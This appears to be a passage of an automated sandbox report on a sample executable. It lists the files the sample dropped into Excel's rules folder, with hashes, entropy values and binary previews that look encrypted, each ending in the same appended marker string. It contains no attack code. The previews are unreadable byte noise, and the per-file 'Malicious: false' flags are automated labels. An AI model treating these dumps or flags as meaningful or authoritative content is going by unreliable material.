Preview:	<?xml. ......~.-o0.F\k_'~....'.p.$..X..s..(B...b..0".X.1.~c_T(.m>.....5 ..F.A..Lo.!.`.=.rw...R.."......#..]..'..(...?..P......4..t9.............M....I..F.....Q.}....9.x'....xU..U+...DCb#.........\|.LO..r...-.Z....\|;... w5Q...p...C_.....5H.RR..we...(.H.A\|_}..D3.H..v.5.eS.yqW)0..b..w......oep.[...i.j.Kd..e......a<..q.....7.;.lGV./.5...F.+.y.l...%....45u.....'.[@B%..S6i..i..+yEZ....H.F.......p...l-..E.Tj......#3A.?.knE...&....(4.x\|Ef{....$.z.Ls........M...7q...k.GO.1..}V)2.}sF....OMx...D:.Hx.%.ur58.E...........TX...GH...ydS..7:v...b.X..Kj..>....=i....m..`...\.$HqX.C..b...m....;.h.y".........HF.,.8.s.I'..=.2}..3/s.4l9D\|.B.%.....`..8..L.y...?...J....5c...=.I.!._.t....&.M\|..w...IA5.O.B.(.(.`......C7....7Q...}. ..+.I\|...H.iI6.0-l\|M....z..s...X..WS....8P.\...."H.b.e...h.H......n./At...X"...s.s./,$.7.._...=l.6..(e*<.!."..(&.......h.....F....>...# ....:..rE."...D.=Q../.8.J.Nh...I..j.....Y....-n.+.......$.:..5..P....g>!... d.@5&Xn'.3+@..a!G

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120609v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.679737674663518
Encrypted:	false
SSDEEP:	12:laLDKESQqRhJjS5syVIOEABZwxANGDp+KMak0+V5VmLsy0jF/4ZoSHL3PWVNlH14:laL5eJjdyqO+xywpyv0+9mIykFeoSHLp
MD5:	E0C9392994F8CA9EE2A48B7820339126
SHA1:	3EB0AB1BEB7EED943E041F2BF386566689FA1361
SHA-256:	4ACFFE3397A9CD2F95D43332448CCC1768FEC64583347CDEAC448846AB156938
SHA-512:	118EFE15AB174774841909B5A9194FF1A7D282875065B1E855A81EF3402CD0107EDA07C06C1891C5FE0DC3D26AA07A0433E6635145109CB1554830E65A9BB55B
Malicious:	false
Preview:	<?xml.[?j..u.?...1..j..o.+.;...!$.$..e..... .3...H...[J.p r...e..=6..QQ..#.."....HC..v...S.jog......4Y.Q......8x.~_....58...Vm.r5.vCS.z!9[-.b....HR.5.Nl..kz.4......!...m.b.........e....$.T,CE.q.G.38U.n\|...v......)..6T.,.\|.~.^. ..w.5....6I.....#g..\| cc......Z....M..%.f...c..B.}.....OO.Y.../.....b..QT.Lo.T,.z}..n.........T#?[.T%.f.s.hF@..e.zL.}.....p.r....S...d."...b4.u8^e.y..5:.zA..l.........K.h.E.7sk..S%\|.J....V..y...R......{6\|........>\|{ c..AkZ.]..5].itl.)...F.2....%.\|.....E.O._SSpc..<>._v...d...Z..0.J`...".i..x!..<...#mH0N.....3...M,.~...\|"...../....Yc.X``o.....r..5.C.i.Fm.....}_.6jp...5.I.Lf-....td..G!.SW3...o>_....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120610v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.746216577564654
Encrypted:	false
SSDEEP:	24:NYtNJBygj3x243RkbNtQwjTWU2awrA6tjNS7A3/URsbD:mtNJBtjxiDQkTycYGA34mD
MD5:	8CD0A47C776831F8531EFB5618050A6D
SHA1:	EECA9674326E5F57567ACF023E56BCA85A37CBED
SHA-256:	90D06D4EFF3D57562AD27270C7CE28812359E83F35F4F02F75967B81F9265575
SHA-512:	115A16E1572E292353717063D999D7520BC7349AF95F2CCF1F4EE479D3A722BFFACB567D436622452BDF459AFE3FE67992756E3D7232F1BE9E6050F805DD597C
Malicious:	false
Preview:	<?xml...............{...l..8..fx..4....+..+.r.j.7di.....8.'.....t>...gxW...s...MYN....b..Z$$.q.?a..z...P.....a....,~..S....]qB.q..`~.,.W+s..IE.6....&;....y>)T.H.@M..ogJ..Z..W\|.&.w>W~..}.f(.A....2.u...C<Yu.6.5...+......1...'...8r>..&.57.J..}....4.}$..E.X..r.y]...k.0dR+....'..Xv.U..j....p.>..u.._...3.....^..su.f..W.X......4..Q..x..H...O.2.....u.=(...U.^T.@,.P8z..4[......[..~..9NV#E..w._...t..m.^#kp+;.....ti\|......i.J..s...z.n.)y.......Q.l....\-_..R"9.....29.....>.`J.=.....(..J../...W...]....A..:.........z..Df.p..b<...r.)...`...C.d.F`...?g=]v.........W.......{.\|.zW.\.._.!.....:.?..-5+A..u.J.d.n..EG.......:..P..`..fO.k.GQu'A..G....).......6c...'h....w.?C..1%@=..O/....i..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120611v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.699859741805532
Encrypted:	false
SSDEEP:	12:YjmXavpBKrluKaaIqwUQTh6d2Dg9X7CSx9LpmynO1wb5uwn07sZFAMXY8hysIgpC:Y7BBKrluKaaIqwU328LpFnOM+sZFBBUL
MD5:	0465C6CF6A8A60A673589D470264C220
SHA1:	399FFE956CD4C10BE5273351D7298C3AEA6987A4
SHA-256:	ACF183ABB5709D9625EC15F3069847D1646959DD2475BF26501283BC2C0E72A0
SHA-512:	E75BAFEBC46945A687E24B072853503AF2D3040AC93A8F5439353E18E363F177C45E5883EABF36182AA8BCF2A1C073A4A8CD89C2E2CAA934E1B231991E9526D7
Malicious:	false
Preview:	<?xml.+.......T..e.7p?;@`..6........'.QX..3J$....P...=....\|..lsX:.+..78.p@h......>...s!V.....;.Q..!%...;..oO.....w.+.......}X`..xmb.>.[....Ra..VY...R&L..k.?\IX$.I.......=!M$.x@...W{..z...H...^.yXn.8...g.E!..<y.P.\...~.5....A/.......P.8h...t.....tw.JE...'.d]...N.:?G.#.d.....(...gK8.;m%...A.=.A.<j...;.u.{.4.l..G.@F..k..o.m...E.f.o/...n..h@........\|E.Z"a......n......)...-5./.j.E.o.o.N.Wp9J...`..F-5.%.....;O.o.f#v.......M..e.....6n..U.4.uV....~q....W?.G.Nj.F1L].._....[U5..cN>...,.X.7......q.@Y..ni...#\d.p0_....y.....!....-..B..q0...Z@...%h6.....P?..bF.w..i\|..ww...0.<,.....Qex._.....Mn.q.]sU..x...s.......\|..:.>.4.\G%.txt.Q^_.[.X&...N.W...K..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120612v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.703791958811102
Encrypted:	false
SSDEEP:	12:IfrjKOuVhXdfJjsIrSNMrhbkQiP5Cqjc2taVgVGX8SYWGoZVJArf1+cii9a:Iz5uV1XsySNeiBryVgu4WG41bD
MD5:	3D6674C0F415A603E072B6889A7BFAF3
SHA1:	651C148C8D8796F4EDD23518BDF61252CFE2D8E9
SHA-256:	BB935EAA2D93C7A860EE9B6F80B7935ED28AAB218641879D3E491BDD24A7323D
SHA-512:	4EC77D85FE465DFD8CD33D9ABF2F1B8C10B20FBE3597DCEC8B7174E06EF86FA60EDFC1C20934C76E61E2A81579411D9074C5BCED1E1EDB2C80AD691DA724220C
Malicious:	false
Preview:	<?xml.g/.n..._.........E..K.nI.N.E.j.....^.L./.,x>......k..c.JF.2....!..^..!\|FE+(... $....SE.W%]...p........=v.!.....m.$5..H...^.t...O...#9........-p.%.jJ...%..b0..^{.Ch......n.5.t.Rq.i.".nsp...s.J...H+rqn..c.....B.ru..+-..-...n%'...,.I..Ib.......U~.,`/w7o....wJ........7.#.8...r}..x...7......3..D.A,....j.z.J...#.sCD..+$>=@...2..._..S.W........N.S..1h..o`..ey4...........E.W.D...[.+4.......Z...jOS."..vL....k..}.(...G.u..l..S.R~.....\.Z...1....n>........q..t/E.....P{.<......9n....NO.e.v..T..R...Z.Q.o...!?.u..a....)TI./:.L.D..2...\.y...,._...p..2..M.EJ.w.D0K.......t..r..+.......F....9p..K>8.[l.n..SK..\..........A.,l.7..+..p..K....6......c-....l.....Z..D d.Y\Y.=....[.s...../.~.x.S.u.p.;j..nt.d...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120613v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.785830210203333
Encrypted:	false
SSDEEP:	24:5+/4J2bioCEalcqz6KnNLJ4VFKcJclrf2ZkvYMVHfkJbtbD:5lJ2sEalcqdVyK2oqZkgyAbND
MD5:	F19D44DA431E1673DD72A26C6213587F
SHA1:	161F468BB086189F4724AB8631ABDF72ABA93F6C
SHA-256:	738F542428AFF77EFE4E91AB1B6C0E4983C79C4ABAC7CA002D5230C3AB3FD44D
SHA-512:	7C1BA2C15C41659F27ADBF96C1EC87C0A39E932F0BDF16A79AC43CC998130C6FBB5C0D1CB0919B56F42713F6908BA5E55F1978CC06A3C44CEA7D303EE096D24A
Malicious:	false
Preview:	<?xml.U.T!:R...7...s...."...?.Y..(.9..k..p3.4.m...EL.....NKMv..t.]V..>..M!....{b..=)...>@.......k...?..!...n..<9h.Z.?.";-.f.....m.g.b.>..y0j2.uw.!fB...C\|D.".X.,...i.4...B...'.....9-.8q(...K.......x ..T.\.-.J.O.0..dFL.Z.2.\| 4..6..]..}....AIZ...R...t..A..A.\..G..`.2.......G..mb.U.R..\.....3"..%.....Q....U..m.j..!}......o..gO..Ep.dU.{Yme.D...w.dC>...H...1.....oB.....%i2lO.....'..-.j...0.t.o6...w.@}?3.seo.X...@...k.?...f+ s&........%&.......7..v..t...H...6.X.U.X7..D.....\.IN..!.Z....!..-.GN.\.M.2...a...3.1...B.............q.v._.....V...2......\..".]...'8..Brc.....(..?.=5y...^......)..Rd..vZ..o..l.....=......q\..r.).....-.N...pO..[...mq.Z.4...g>...h.....`a....z..9...h...s.....9.3x..F..h+.r/ZD....jk}....9..>..........q3....6..1:3.R.O.&O.4.I..$y.5.....Ig.....f.;...=3.W.....$..P.......Qh...)t.$....S.vn.Z.Rd.V......R...]].SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120614v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	800
Entropy (8bit):	7.69506337645079
Encrypted:	false
SSDEEP:	12:gxtmdbl3CuwTh+OZxizxM7S5sClaMUSgmEQ8IAKsHePlYq8ktuD8EnvNvfdP0iMm:gCvch+OHUxGeLE0/P/8ktAFfWcbD
MD5:	D813F04DA05132E826F8DC6D456F06B6
SHA1:	53D71E9D0618D344CAD5993A743418FE1EDDC22F
SHA-256:	15ABA8F9E50A347E0596F6848F989271A8F8356111027EAF740A1EED8F92CD82
SHA-512:	52778031A5ADC882DE8D93E57D2D3E3C2253B1D83E602319D4254CDC2442DCA55AA09133F35FF561EF6D74AEB5552CBE95FF78340C0D215D383A04934608C435
Malicious:	false
Preview:	<?xml..E....'..H..-bM c.MyT.8....A...[`f..2.v.}".x....E.6\.h8.N^4.+..Gw.w......\...2..$.D.%.n.V{Bp1....z..^.....b8......=&p~.C$K.......T.~#.Io..Cp.A...r4.2...8...>.=f.v^...1W1..`...j_..@.`$"X{..Onr...@....G...O.M..7.......O.7o.g....&.H}....d\pI......]..Q....P.A..I...G.>..P.vP..M...z..t..a..{.b.V...L.S.U....{]...u..&.~..6...J[6.l#.O....8.Tnk....S.B..........Lx.. .c........9<.].+).v`.Gv.....d..\|=.!(..n..<..W/....F#.f7.0).h_.b..)J.[.-=>H2..z......D.O...4jC.\..8.#..S.[.d....B....wF"F.;..%.\|E.J..........\..w..N8D%.ps.!.h...Jh......f<y>,.....;.WU....K....ox.....B..S..n.4...;..mN.......2..0.I9C..:...X..w.t....OU3..Gx.&...j.mj..7..w........d.l.xG8...f..F]/..Z..l...M.....6#..8.P.b.[....jSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120615v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.663152736648086
Encrypted:	false
SSDEEP:	12:NmDRmZGiXmcQzt/DgnjDmzm7ysc4DUO9lDFfz/IqHKduqMmJfjd7GJLz1+cii9a:EDCWLS/mzhKZ9r/ZHKfMYp66bD
MD5:	BB28BBBA327594FA8ECED6B86AA03B25
SHA1:	803A4C3E2ECC3084A2F8BCDDF8312608B88F7310
SHA-256:	889ACE25AEB64D9C048F3F78B8ADAD84907C18102C26A2F000BEB471C8E3B8E0
SHA-512:	CD6D1333CBB259599C41C6EEAFF2AAF06D19C3D87179071E5723533EB385507A514300122B07D5F80DEE357769FF59DDD1F6A540AF627F529DAE4CED9648C696
Malicious:	false
Preview:	<?xml."\|....w...6..5.z.:;R..wy...Ww.'........m..uM.6M,.....N.?....~?...G.A.2.i...Fki.......Oc.....e+{.H3.e...4..M...M.e..".Y...A.31...G..P..t......D.'e${...A...X.k.i?.LK...{..C5>.^...FF.n.c..Mxq..C......W8....pE..yT....K9..F...t.....o...[...%.AO.l..T(..D....%.;..7...4.k..D..n..pYk..rs..../...I.S....t..}...NG.....7.I.7[/9...]cr.u....95.#...H\r.D..b....4].6t.cH.{..4....r4..Bi.....i.+...X..a.E.4.4..9gQ.?...j..p..l.:K......9T..>.Hh...A....U...uX....W2.qM_..R"....%N....TwbX...1....YR.L..,.t;oo...>..........mA.w-n&]+....s7y....&.8l.s..l..aD.....6&.De..b.l[#@..zWx..M.........(...&2..X....`[...0.. ...#.Z..^..K.b/..w....].,.\|%...>.Y'.uSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120616v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.76979661837674
Encrypted:	false
SSDEEP:	12:s5Jlq21+O2lDxx7f4YyXjnzoC9wZeLCEjEBeuSCbYLslFXD5SLLV1+cii9a:Oq2l2lNxb4YUrwW5iaCELsT5S3ObD
MD5:	5E65FD3496C4F436F24B05F23A64CF36
SHA1:	10201AF15867E24D388ECFB2E9DD1D59BC189BCB
SHA-256:	E86E9102E019568FADF9FEEA155DF89B20FCF3DA21F37705A5059B3E1098AD74
SHA-512:	20CDF1AFCCF44ACCF67A522FAFDD87F266D395E8A32D327F7AA2F8A9C133470DD3EC1605F3920DE381A9121FA447F677FCCE78BF57702E17E58287E0DF4C32F1
Malicious:	false
Preview:	<?xmlHW.....R.1..:..}......=@...GI.w...A&r...A.....}.)..t).^H..K....z.M..@.......Ok..\|%..QU.6x.z...Q..p.....a..L..7.X>.$....MO....9..._.Z.....d.......5...u.+.n..&\|r>..1..(..."..e..E..+.V.,.....w.....c?<u.....l..)oE...v).o..q[.L-.....O[.......,.N.\.[..UrqS.c.le...."u...U.0m...".~...(Xz..../}.(m..q....}...30.@..H....5.?,.....+......i`.....L}5{Pr.k......#X..s..nC..W.e...-....fA.F..]{we.u...=....U......7;.)..5)..q.....u.a...0Z..N...T...z.S..vh..y.=n.4m..dB.;3.[.>..w.uk.7j...I\|....T.dQO.3fz.......V.r...Yt..&3.}....0..r~~T.$...Em.jB`...ml..Y..d.f?.>.da.......Q...7..5h...%...2.L..S..N.,.H...>.G............_.,N........mh5V7.K.L.8.....t >...g!s.Y*{...~t.p..DH3.....vt.c.CZ..Et ....r...U......0..ZASLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120617v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.7120262970010485
Encrypted:	false
SSDEEP:	12:w3wyyxI1c4LWdHDsP/P/axZ584qTr2sitYOy67UlocaTaVsNmkGyKab3qef1+ciD:wAyDW4idsPSZMCtYOy67kocjsNmkzsbD
MD5:	997F4AE24762A86BFD4128F2C9568AC4
SHA1:	BE9C00A668740BB74CB6927246BAE50515D3038D
SHA-256:	698A2C2C945EDB1924A8FEB57DE8C32B17DBB87161B8BA63ED3EE6E160AF7A2C
SHA-512:	395ABE46C0D9EBE9B29AD27DCD5E97D378451074D973EE0CDB5602DA798D8B3DF2368947045FDE2DF5A144CC266E77836A8311A24BE48DE7462D96095B6F9071
Malicious:	false
Preview:	<?xml.....F.....m..#...f}....8K..C......,..[..w:.....@../.....F....X...GPK../ov....1.$...:.m..h.%:a}.k.c2..k....)...D......H..tW\|....b.......h.Ox.a..V.n.R0\....5...v9.......(.-....U.......}.,...jxU.o=S.A..M{...2... W..o.....BH-W...Q...k..x?t...!<.j.. g:....`..{...\..nQX...p1).X ...^OmEJ...u..(o~8..^.{.....,<.Q...vtY...\v.J.M..........(x........6\32^.>...8Ji.,p...rt...g"S.~.d...4..\|:.2.6.....M..e:....}......Z...g.P={...k..<..<.$..]N[._...\|..-..o.M.Z.S../[.j....A...1$_h....s/..s!..L..Lzj/......c..\d...u...o.H..gk.{^T8dT.d.5.Z..^...'..u.....s..fK...-...z..z.1o.$..B=\|.}..Z...9..I,K.n.z 1.A..@t.=G4.-6hs....@z}.1.u...pLN.>..,..*.D.[.W.h.=..'....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120618v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.728678188350466
Encrypted:	false
SSDEEP:	24:VXb868zKJjfkQN+hENQU4m4GWFOy8GGjybD:db868zKxfkQghEQwH7y87MD
MD5:	0688451781DAC5E29C85FDA96EFB9D6F
SHA1:	40C3B9835CF39916F66932A2056865EB5FD07482
SHA-256:	15D27D2A01D28BDE98157C9A3F8C4CDD4C853B1531863FC950DFF54BAD90F3C7
SHA-512:	D24C0E631129341BA4994719FC4D4B862110EC10D54F5DF3418E5384FCB8DD306C1BA9B19165AA50E3148D07CB24E3A4F432FF91124AF82ADD5B1BA35DA21951
Malicious:	false
Preview:	<?xml.Hm.{9.F....NwF''p.5.!'...H+..,..T5..i).......3q..}-.NzkSu..d..........Y.}.{.......N.E..M.\%H....>+..\|!.7...CN........F.+IH.EX!..}..-k..[.qcU.8_...4&`..[.....B.t.........?....op!..\...D.....].yk..^.mi.....ny.l......y.j........K..7.[.N...'...?..u..H.2\|.Z...kV.J:5..9......%....J..m$..G}...D..'D....Z.H..;-X`qY.U..'..O.!...'S..c..~..SPf....Z3...."....M..FXyy..JA.+D.6.<...k....Z..G....o]pl..6./7._$.B..nk..-..(.iB.r.A+.z.d.gK../.Rj.....iS/..U)..F.sF..~..j.(.....b.....0).{...M.*..7.x"U...$.QIy...\.$...x/. t..0....:....V~J..E.. .L..".k.Q..V6.....3....n..%5yN.i.Xh`...M^.n.o~.%o....&.X.U..O#.(.).Q.!.-...m.6.....Y...)I.a...+]6F...{..M.l.V..l........Lnn..5SrI+.....1V4.....\x.z..Y\|...k{....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120619v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.676107537848266
Encrypted:	false
SSDEEP:	12:kN+3jW+l/awFkI71lAN9LRu4b/txqSVJj5Bte6baJA/PH4q/+FG3jsu1rOpj8H14:kozHl1FkIR2N9LxNjjH3baJA3f+4b1Y3
MD5:	DEF5F9D324A5B170994DD940D11A28AC
SHA1:	EE41D93DF6083D00A34B5246475675B2E9E46104
SHA-256:	9020F354185B8D6171683695BB78FAFEF101C015F67A680BFBAE7DD1E84F2C1B
SHA-512:	C279F42C371C1DC54A3906F0FB675C98DCBFAE6AC9CD74B9E470C083DA26BDF5951392A6CA80F1218EF8B1B32DF8CB91DAABBA4DAA475E7B9B24013CE9D40BB1
Malicious:	false
Preview:	<?xml......UI.De..\..X.O_{.....P{"H&u..e:.....=.c...].U.%.y^.1...j..X/.+....S#......^.+..(B?<.??4.o.U..cD..#{._.f..=<n....7.....P........;..k.!..RT3......g..6.\.a@..8..m..6s.DYU2p.E....P.....RrPK..C.[...c.B.....w..4.[O(......ET...,.m ........B}...e.Qp.%.j/.R......z......j.q..].[jV'.+\6..'. .-2..4..%....]4....<eFR...;.1..(?!..~..p.w..y?z..qC..............<yM'...nl.@.Kt..@<..4......5<..e...?..6..,x........D....O........<.P..4(...c+..H.SI.K.)...^.f7.y.C..j...)`..V]c.`O..J....(......'@./.#\|.@.&!....E.3H..B+..<.P...uF.J&t.......u...S...s./...cm..{.......3..v..S.].("Wq...26[Q.5..\|.o....lJl..&qb...d.m.t.....<......z~..4..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120620v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.718391879085486
Encrypted:	false
SSDEEP:	24:kzfLb//hBDUoi4W96VVn6aV8sQF1/XEuqXMIg8uDVbD:kPbHnwfbAD6mQFGuqRg8uDFD
MD5:	9502A2D82B60B3016D5C1F51496A6DDC
SHA1:	E19D140B5AC7C0CE527DCD4960A0872E2BFB8B68
SHA-256:	F05592A558B4E11824726F3BE0E3ECC6C05F0CADC3B3695FC9674D2ED53B5F87
SHA-512:	16AAA192D7846DFD624AB3FBDD2C393F4268878F3433ABEA20113314E28A21373F54A7B3A1FC0A1719165D7FAC92C030EE7C83D91121965D5302E33B63A2AE34
Malicious:	false
Preview:	<?xmlH.NC.^.U.1.3...A.'e...1...y..ZOOc...WT.w..%.r.,.MG..Q.t..(....M...tfQP2n.u....]..[....../..bu..........o.s.d...;_.).X.......H..\d.1.s.[^.#v@.;.xx..I...J.\|ah;g.../...)C.]...M..%.=..B..'.....g.._....v....%?..b......8......g..+...<x..,D.F..B....2{p.rk...V...^......Y......b..I.r.X.... `.h...={.B...LW.L.G........vT)Y.*...D.F.Jp[.H.......v.H/.8.sr.}.\|..x....h}..q.n&J.a.E.@....c....P&..}...M..Tr...`I..%.eG.=Op'....#.....Gw..^.+..1.dy.c}=...lO..})..:n..U...<.......$r#.Qx.g..&..N4}..D........h......)Z..C.].;..:P....~....~..Gghf67..s.....0....b..g..,.^.K.J....fC.Y...%S.=C(...Y....q,G.X5..@m....:q..vZ5.+........R..w.\|fPW..:..Ep(.....3c....i6m(P...P.C(.[.../.w.Z..i..=..Z.}...h7X.u2......XSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120621v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.745481152469723
Encrypted:	false
SSDEEP:	12:cIO8vr+9UenZniTLY4tYueiZ99EoFGPtR1bBVYzUxMPhhGpUDzh23bY/3CH1+ciD:cp8vr+dIPY4NeO99Ekatb/aUx8DGeXSC
MD5:	3616B7BCC2EA59C30070FC84D63FBD01
SHA1:	55F93EAA43EE2F32CC599E607495A5FF2F3485BC
SHA-256:	99A77C17A3C59AA5839F79A7BD5DE7CB8F9582D5B0C9F7716EEB42893C8FBAC8
SHA-512:	9CDA03698ACD2627DE69FE594ABAE78CF69F37F37344667ECAA434038A68A89676B484A44B5F3B745437365F54C37A70BECA0E40B9AE03CF5F2EE07D2D31E335
Malicious:	false
Preview:	<?xml.^.u.-}..Q..f,z^...Az.+.. .q'.j.y.n..yr......O.q.@.?.......\...$2........^...XQ..(..+R.-+.=..E.... \..a.qh....c0..dcCkx....tr..4.;.M4....q....z..K.ea.....J.O..J._=\.[....BeP..{E...9. .m..9.......v.m[.H.p.~.}......`.1...mS.s.mmg....T.u...:?.:W.".b.9..k..K,..L..3MWTn,.7..H.ZF....Dj.o)..cD5BF.....8I....=..H.E..:q.V..G...}...v.0..U[.u..R...9O.f../.A.N.G...b.0..y.V..<2P.....}l).1......)....O.d..5U$..c.<......&...okm....1i.x.\|?%.x.....Ml.-.`..s.0..Am......M=.....cx...R...o.=z1.......c[@.....r.....r.t..$.G]~g........,.....G^..'q............P(.^...._.^^.`V..`.1.....WX!.&4.....b@.......}R..8.....j..........P.8..s..j.+C....hy..bio\.?l.X?V.F.n&SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120622v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.752671978457333
Encrypted:	false
SSDEEP:	24:YF78ZkZ+k0Q5UIyfZIXhA7PuOvbrDgDVSbm/u0+ZsbD:GxXuISbr+fvD
MD5:	0AA38E5DEBA1F942B97AF54FA6A8E2CF
SHA1:	7CB79304105235112593F95B60D42842FFC77464
SHA-256:	7EC1D46DF69A7E2A2B481692E1BF56520A8EB96CF66809B117ABAE9D20786376
SHA-512:	63F514FADB4ED7E5AF60281CE9F08501D5A11DE95809CBFC7B41BAA888D9D0CBC5BBF2A612102A55FF64A396D11054FCE0BB013D7B7DF93642DBF9620F1B858C
Malicious:	false
Preview:	<?xml"..j..~;.i.^...^.m..F..E.E.q.$.z(....FU.....x.#..<..r...v.3X.~..C..j.&...k..(H..;R.=..c...5=_...+.p.J......w..5:....I..e\|.....l.Vn..;...4...".z..M...W.U<......RS..b.r.H....:@~.P....kF.'..YEi...~.]6.V_.D..M..#uU./.7$XI{...f3...U.k...J.!.K..#W.s.......1..?A.L...A...b..><..i`x....x3.jb.M.....a.V.>.R.......-M.1..oo'(U1W...f.FwIOH..f.E...s....dU".O......+}.7^0....\|L......a..DTe..l.?..[.(.b...U.K#.3...\|..+.....}...{......$L#El....PQ..\.coy...1.~H.....9.....,.......Z7).QK+..cU....u/.....?.:...k.B.).....z.x.c....-"....>x.......R..Tk.#.L..."H\....v{P.^?.n?.."3.'e....00.~..h.@u..(..%.r..-.W.+........9xtd...?q;..m.....U...1e..}.0..>..K...1..e..s......{Ku,q7[.A.........."~.......k..Jp...:..3.{.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120623v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	797
Entropy (8bit):	7.739685219424977
Encrypted:	false
SSDEEP:	12:Wbr5Z0x8+d7XQ1lVbkpxoLT0Qa+f9g7hNiM7bEKfShTx9Oqkg1hI1YHkh1+cii9a:WpKdyVSxoL4CFO7bjqFzO1ybD
MD5:	FA14DB9B35F15CD5B830E1C0AF2445DE
SHA1:	39382C6793A875086280468F3D5D056B24550C36
SHA-256:	C221488350D744358B2C7CEC80AC6D4B9A75A2A1CFE6CC378B3FF465C6C4795B
SHA-512:	FB2F1D271D059AD833BAE0CBFA030E5C5DCD67370921259A3D84B141E203DE4F56541E8436C19C67B78CB48945EEAF0F678A6288392D3996594D9B7E02CB45CC
Malicious:	false
